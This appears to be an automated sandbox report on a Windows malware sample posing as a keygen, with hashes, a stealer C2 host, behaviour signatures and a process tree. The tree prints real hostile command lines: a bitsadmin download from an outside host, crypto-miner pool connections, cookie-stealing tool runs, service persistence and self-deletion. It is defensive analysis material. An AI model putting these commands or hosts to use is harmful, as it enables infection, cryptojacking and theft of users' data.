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Analysis

  • max time kernel
    54s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    26/04/2021, 18:53

Errors

Reason
Machine shutdown

General

  • Target

    keygen-step-4d.exe

  • Size

    4.6MB

  • MD5

    563107b1df2a00f4ec868acd9e08a205

  • SHA1

    9cb9c91d66292f5317aa50d92e38834861e9c9b7

  • SHA256

    bf2bd257dde4921ce83c7c1303fafe7f9f81e53c2775d3c373ced482b22eb8a9

  • SHA512

    99a8d247fa435c4cd95be7bc64c7dd6e382371f3a3c160aac3995fd705e4fd3f6622c23784a4ae3457c87536347d15eda3f08aa616450778a99376df540d74d1

Malware Config

Extracted

Family

fickerstealer

C2

sodaandcoke.top:80

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • fickerstealer

    Ficker is an infostealer written in Rust and ASM.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • XMRig Miner Payload 2 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 23 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 5 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 5 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • NSIS installer 2 IoCs
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s SENS
    1⤵
      PID:1404
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Browser
      1⤵
        PID:2788
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s WpnService
        1⤵
          PID:2708
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2696
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
          1⤵
            PID:2476
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2424
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
            1⤵
              PID:1852
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s Themes
              1⤵
                PID:1212
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                1⤵
                  PID:1204
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                  1⤵
                    PID:1076
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                    1⤵
                      PID:596
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                      1⤵
                        PID:68
                      • C:\Users\Admin\AppData\Local\Temp\keygen-step-4d.exe
                        "C:\Users\Admin\AppData\Local\Temp\keygen-step-4d.exe"
                        1⤵
                        • Checks computer location settings
                        • Suspicious use of WriteProcessMemory
                        PID:636
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\xiuhuali.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\xiuhuali.exe"
                          2⤵
                          • Executes dropped EXE
                          • Drops file in Program Files directory
                          • Suspicious use of SetWindowsHookEx
                          • Suspicious use of WriteProcessMemory
                          PID:3192
                          • C:\Windows\SysWOW64\rundll32.exe
                            "C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
                            3⤵
                            • Loads dropped DLL
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of WriteProcessMemory
                            PID:1804
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\JoSetp.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\JoSetp.exe"
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3012
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of WriteProcessMemory
                          PID:3960
                          • C:\Users\Admin\AppData\Local\Temp\is-ON126.tmp\Install.tmp
                            "C:\Users\Admin\AppData\Local\Temp\is-ON126.tmp\Install.tmp" /SL5="$B01DC,235791,152064,C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"
                            3⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Suspicious use of WriteProcessMemory
                            PID:2060
                            • C:\Users\Admin\AppData\Local\Temp\is-4M9L8.tmp\Ultra.exe
                              "C:\Users\Admin\AppData\Local\Temp\is-4M9L8.tmp\Ultra.exe" /S /UID=burnerch1
                              4⤵
                              • Drops file in Drivers directory
                              • Executes dropped EXE
                              • Adds Run key to start application
                              • Suspicious use of AdjustPrivilegeToken
                              • Suspicious use of WriteProcessMemory
                              PID:3892
                              • C:\Program Files\Windows Defender Advanced Threat Protection\UWMNQBTXLR\ultramediaburner.exe
                                "C:\Program Files\Windows Defender Advanced Threat Protection\UWMNQBTXLR\ultramediaburner.exe" /VERYSILENT
                                5⤵
                                • Executes dropped EXE
                                • Suspicious use of WriteProcessMemory
                                PID:3784
                                • C:\Users\Admin\AppData\Local\Temp\is-BN3FV.tmp\ultramediaburner.tmp
                                  "C:\Users\Admin\AppData\Local\Temp\is-BN3FV.tmp\ultramediaburner.tmp" /SL5="$6006A,281924,62464,C:\Program Files\Windows Defender Advanced Threat Protection\UWMNQBTXLR\ultramediaburner.exe" /VERYSILENT
                                  6⤵
                                  • Executes dropped EXE
                                  • Drops file in Program Files directory
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of FindShellTrayWindow
                                  • Suspicious use of WriteProcessMemory
                                  PID:2272
                                  • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                    "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                    7⤵
                                    • Executes dropped EXE
                                    PID:64
                              • C:\Users\Admin\AppData\Local\Temp\2c-9dfdc-fd4-ddf9f-9dc17b6543190\Kafufapepu.exe
                                "C:\Users\Admin\AppData\Local\Temp\2c-9dfdc-fd4-ddf9f-9dc17b6543190\Kafufapepu.exe"
                                5⤵
                                • Executes dropped EXE
                                • Checks computer location settings
                                PID:988
                              • C:\Users\Admin\AppData\Local\Temp\5e-36530-dd5-c5e89-a12f6fefa8ba5\Jexetasodu.exe
                                "C:\Users\Admin\AppData\Local\Temp\5e-36530-dd5-c5e89-a12f6fefa8ba5\Jexetasodu.exe"
                                5⤵
                                • Executes dropped EXE
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                • Suspicious use of WriteProcessMemory
                                PID:3888
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xvejatzk.dip\instEU.exe & exit
                                  6⤵
                                    PID:4516
                                    • C:\Users\Admin\AppData\Local\Temp\xvejatzk.dip\instEU.exe
                                      C:\Users\Admin\AppData\Local\Temp\xvejatzk.dip\instEU.exe
                                      7⤵
                                        PID:4672
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\c0jev5gn.0ac\google-game.exe & exit
                                      6⤵
                                      • Suspicious use of WriteProcessMemory
                                      PID:5116
                                      • C:\Users\Admin\AppData\Local\Temp\c0jev5gn.0ac\google-game.exe
                                        C:\Users\Admin\AppData\Local\Temp\c0jev5gn.0ac\google-game.exe
                                        7⤵
                                        • Executes dropped EXE
                                        • Drops file in Program Files directory
                                        • Suspicious use of SetWindowsHookEx
                                        PID:5076
                                        • C:\Windows\SysWOW64\rundll32.exe
                                          "C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
                                          8⤵
                                          • Loads dropped DLL
                                          • Modifies registry class
                                          PID:4848
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\uez5h3fa.e5g\md1_1eaf.exe & exit
                                      6⤵
                                        PID:2496
                                        • C:\Users\Admin\AppData\Local\Temp\uez5h3fa.e5g\md1_1eaf.exe
                                          C:\Users\Admin\AppData\Local\Temp\uez5h3fa.e5g\md1_1eaf.exe
                                          7⤵
                                          • Executes dropped EXE
                                          PID:4672
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zd11wktt.5md\askinstall39.exe & exit
                                        6⤵
                                          PID:1804
                                          • C:\Users\Admin\AppData\Local\Temp\zd11wktt.5md\askinstall39.exe
                                            C:\Users\Admin\AppData\Local\Temp\zd11wktt.5md\askinstall39.exe
                                            7⤵
                                            • Executes dropped EXE
                                            PID:4448
                                            • C:\Windows\SysWOW64\cmd.exe
                                              cmd.exe /c taskkill /f /im chrome.exe
                                              8⤵
                                                PID:4432
                                                • C:\Windows\SysWOW64\taskkill.exe
                                                  taskkill /f /im chrome.exe
                                                  9⤵
                                                  • Kills process with taskkill
                                                  PID:5312
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tsva5luf.nka\y1.exe & exit
                                            6⤵
                                              PID:5264
                                              • C:\Users\Admin\AppData\Local\Temp\tsva5luf.nka\y1.exe
                                                C:\Users\Admin\AppData\Local\Temp\tsva5luf.nka\y1.exe
                                                7⤵
                                                  PID:5508
                                                  • C:\Users\Admin\AppData\Local\Temp\0nEm0Ub3mU.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\0nEm0Ub3mU.exe"
                                                    8⤵
                                                      PID:5236
                                                      • C:\Users\Admin\AppData\Roaming\1619470701411.exe
                                                        "C:\Users\Admin\AppData\Roaming\1619470701411.exe" /sjson "C:\Users\Admin\AppData\Roaming\1619470701411.txt"
                                                        9⤵
                                                          PID:980
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\0nEm0Ub3mU.exe"
                                                          9⤵
                                                            PID:6108
                                                            • C:\Windows\System32\Conhost.exe
                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              10⤵
                                                              • Executes dropped EXE
                                                              PID:5508
                                                            • C:\Windows\SysWOW64\PING.EXE
                                                              ping 127.0.0.1 -n 3
                                                              10⤵
                                                              • Runs ping.exe
                                                              PID:6132
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\tsva5luf.nka\y1.exe"
                                                          8⤵
                                                            PID:5480
                                                            • C:\Windows\SysWOW64\timeout.exe
                                                              timeout /T 10 /NOBREAK
                                                              9⤵
                                                              • Delays execution with timeout.exe
                                                              PID:4724
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yzkzypus.h55\SunLabsPlayer.exe /S & exit
                                                        6⤵
                                                          PID:5680
                                                          • C:\Users\Admin\AppData\Local\Temp\yzkzypus.h55\SunLabsPlayer.exe
                                                            C:\Users\Admin\AppData\Local\Temp\yzkzypus.h55\SunLabsPlayer.exe /S
                                                            7⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            • Drops file in Program Files directory
                                                            PID:5956
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsc5622.tmp\tempfile.ps1"
                                                              8⤵
                                                                PID:5676
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsc5622.tmp\tempfile.ps1"
                                                                8⤵
                                                                  PID:1700
                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsc5622.tmp\tempfile.ps1"
                                                                  8⤵
                                                                    PID:2744
                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsc5622.tmp\tempfile.ps1"
                                                                    8⤵
                                                                      PID:5408
                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsc5622.tmp\tempfile.ps1"
                                                                      8⤵
                                                                        PID:5300
                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsc5622.tmp\tempfile.ps1"
                                                                        8⤵
                                                                          PID:5544
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsc5622.tmp\tempfile.ps1"
                                                                          8⤵
                                                                            PID:5200
                                                                          • C:\Windows\SysWOW64\bitsadmin.exe
                                                                            "bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z
                                                                            8⤵
                                                                            • Download via BitsAdmin
                                                                            PID:3232
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\eakskuo4.ocq\inst.exe & exit
                                                                        6⤵
                                                                          PID:5900
                                                                          • C:\Users\Admin\AppData\Local\Temp\eakskuo4.ocq\inst.exe
                                                                            C:\Users\Admin\AppData\Local\Temp\eakskuo4.ocq\inst.exe
                                                                            7⤵
                                                                            • Executes dropped EXE
                                                                            PID:5260
                                                                        • C:\Windows\System32\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vxuprb0f.mqy\GcleanerWW.exe /mixone & exit
                                                                          6⤵
                                                                            PID:6084
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\m1vf2lar.511\toolspab1.exe & exit
                                                                            6⤵
                                                                              PID:5204
                                                                              • C:\Users\Admin\AppData\Local\Temp\m1vf2lar.511\toolspab1.exe
                                                                                C:\Users\Admin\AppData\Local\Temp\m1vf2lar.511\toolspab1.exe
                                                                                7⤵
                                                                                  PID:4720
                                                                                  • C:\Users\Admin\AppData\Local\Temp\m1vf2lar.511\toolspab1.exe
                                                                                    C:\Users\Admin\AppData\Local\Temp\m1vf2lar.511\toolspab1.exe
                                                                                    8⤵
                                                                                      PID:5884
                                                                                • C:\Windows\System32\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5vdc10uj.5f3\app.exe /8-2222 & exit
                                                                                  6⤵
                                                                                    PID:5024
                                                                                    • C:\Users\Admin\AppData\Local\Temp\5vdc10uj.5f3\app.exe
                                                                                      C:\Users\Admin\AppData\Local\Temp\5vdc10uj.5f3\app.exe /8-2222
                                                                                      7⤵
                                                                                        PID:5132
                                                                                        • C:\Users\Admin\AppData\Local\Temp\5vdc10uj.5f3\app.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\5vdc10uj.5f3\app.exe" /8-2222
                                                                                          8⤵
                                                                                            PID:4900
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mts2kpwn.m4w\c7ae36fa.exe & exit
                                                                                        6⤵
                                                                                          PID:5896
                                                                                          • C:\Users\Admin\AppData\Local\Temp\mts2kpwn.m4w\c7ae36fa.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\mts2kpwn.m4w\c7ae36fa.exe
                                                                                            7⤵
                                                                                              PID:5936
                                                                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe"
                                                                                    2⤵
                                                                                    • Executes dropped EXE
                                                                                    • Modifies system certificate store
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:3116
                                                                                    • C:\Users\Admin\AppData\Roaming\FFE.tmp.exe
                                                                                      "C:\Users\Admin\AppData\Roaming\FFE.tmp.exe"
                                                                                      3⤵
                                                                                      • Executes dropped EXE
                                                                                      • Suspicious use of SetThreadContext
                                                                                      PID:4200
                                                                                      • C:\Users\Admin\AppData\Roaming\FFE.tmp.exe
                                                                                        "C:\Users\Admin\AppData\Roaming\FFE.tmp.exe"
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        • Checks processor information in registry
                                                                                        PID:5084
                                                                                    • C:\Users\Admin\AppData\Roaming\1416.tmp.exe
                                                                                      "C:\Users\Admin\AppData\Roaming\1416.tmp.exe"
                                                                                      3⤵
                                                                                      • Executes dropped EXE
                                                                                      • Adds Run key to start application
                                                                                      • Suspicious use of SetThreadContext
                                                                                      PID:4368
                                                                                      • C:\Windows\system32\msiexec.exe
                                                                                        -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w16690@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
                                                                                        4⤵
                                                                                          PID:4480
                                                                                        • C:\Windows\system32\msiexec.exe
                                                                                          -o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w19135 --cpu-max-threads-hint 50 -r 9999
                                                                                          4⤵
                                                                                          • Blocklisted process makes network request
                                                                                          PID:4144
                                                                                      • C:\Users\Admin\AppData\Roaming\157F.tmp.exe
                                                                                        "C:\Users\Admin\AppData\Roaming\157F.tmp.exe"
                                                                                        3⤵
                                                                                        • Executes dropped EXE
                                                                                        • Adds Run key to start application
                                                                                        PID:4612
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe"
                                                                                        3⤵
                                                                                          PID:4348
                                                                                          • C:\Windows\SysWOW64\PING.EXE
                                                                                            ping 127.0.0.1
                                                                                            4⤵
                                                                                            • Runs ping.exe
                                                                                            PID:4776
                                                                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\jg6_6asg.exe
                                                                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\jg6_6asg.exe"
                                                                                        2⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:5664
                                                                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\gaoou.exe
                                                                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\gaoou.exe"
                                                                                        2⤵
                                                                                          PID:5484
                                                                                          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                            3⤵
                                                                                              PID:5984
                                                                                            • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                              C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                              3⤵
                                                                                                PID:5000
                                                                                          • \??\c:\windows\system32\svchost.exe
                                                                                            c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                            1⤵
                                                                                            • Suspicious use of SetThreadContext
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:1180
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                              2⤵
                                                                                              • Drops file in System32 directory
                                                                                              • Checks processor information in registry
                                                                                              • Modifies data under HKEY_USERS
                                                                                              • Modifies registry class
                                                                                              PID:2196
                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                            1⤵
                                                                                            • Drops file in Windows directory
                                                                                            • Modifies Internet Explorer settings
                                                                                            • Modifies registry class
                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                            PID:4376
                                                                                          • C:\Windows\system32\browser_broker.exe
                                                                                            C:\Windows\system32\browser_broker.exe -Embedding
                                                                                            1⤵
                                                                                            • Modifies Internet Explorer settings
                                                                                            PID:4636
                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                            1⤵
                                                                                            • Modifies registry class
                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:4516
                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                            1⤵
                                                                                            • Modifies registry class
                                                                                            PID:5576
                                                                                          • C:\Windows\system32\werfault.exe
                                                                                            werfault.exe /h /shared Global\a3503aab2f234e7b9fda98b7c349f3eb /t 6052 /p 5576
                                                                                            1⤵
                                                                                              PID:5488
                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                              1⤵
                                                                                                PID:4164
                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                1⤵
                                                                                                  PID:5316
                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                  1⤵
                                                                                                    PID:5028
                                                                                                  • \??\c:\windows\system32\svchost.exe
                                                                                                    c:\windows\system32\svchost.exe -k netsvcs -s seclogon
                                                                                                    1⤵
                                                                                                      PID:5816
                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                      1⤵
                                                                                                        PID:4396
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\91EB.exe
                                                                                                        C:\Users\Admin\AppData\Local\Temp\91EB.exe
                                                                                                        1⤵
                                                                                                          PID:1888
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\944E.exe
                                                                                                          C:\Users\Admin\AppData\Local\Temp\944E.exe
                                                                                                          1⤵
                                                                                                            PID:5916
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\96CF.exe
                                                                                                            C:\Users\Admin\AppData\Local\Temp\96CF.exe
                                                                                                            1⤵
                                                                                                              PID:5432
                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                icacls "C:\Users\Admin\AppData\Local\35aa744c-02d4-4d9b-b207-e213af967126" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                                                                                                                2⤵
                                                                                                                • Modifies file permissions
                                                                                                                PID:3016
                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                              1⤵
                                                                                                                PID:4128
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\AB04.exe
                                                                                                                C:\Users\Admin\AppData\Local\Temp\AB04.exe
                                                                                                                1⤵
                                                                                                                  PID:5236
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\B297.exe
                                                                                                                  C:\Users\Admin\AppData\Local\Temp\B297.exe
                                                                                                                  1⤵
                                                                                                                    PID:5276
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\B297.exe"
                                                                                                                      2⤵
                                                                                                                        PID:5464
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\C1F9.exe
                                                                                                                      C:\Users\Admin\AppData\Local\Temp\C1F9.exe
                                                                                                                      1⤵
                                                                                                                        PID:1020
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bpwuahss\
                                                                                                                          2⤵
                                                                                                                            PID:1804
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dzrrodcq.exe" C:\Windows\SysWOW64\bpwuahss\
                                                                                                                            2⤵
                                                                                                                              PID:5824
                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                              "C:\Windows\System32\sc.exe" create bpwuahss binPath= "C:\Windows\SysWOW64\bpwuahss\dzrrodcq.exe /d\"C:\Users\Admin\AppData\Local\Temp\C1F9.exe\"" type= own start= auto DisplayName= "wifi support"
                                                                                                                              2⤵
                                                                                                                                PID:5560
                                                                                                                              • C:\Users\Admin\jiwymjkc.exe
                                                                                                                                "C:\Users\Admin\jiwymjkc.exe" /d"C:\Users\Admin\AppData\Local\Temp\C1F9.exe" /e5503011300000005
                                                                                                                                2⤵
                                                                                                                                  PID:6076
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\CC89.exe
                                                                                                                                C:\Users\Admin\AppData\Local\Temp\CC89.exe
                                                                                                                                1⤵
                                                                                                                                  PID:5124
                                                                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                    C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
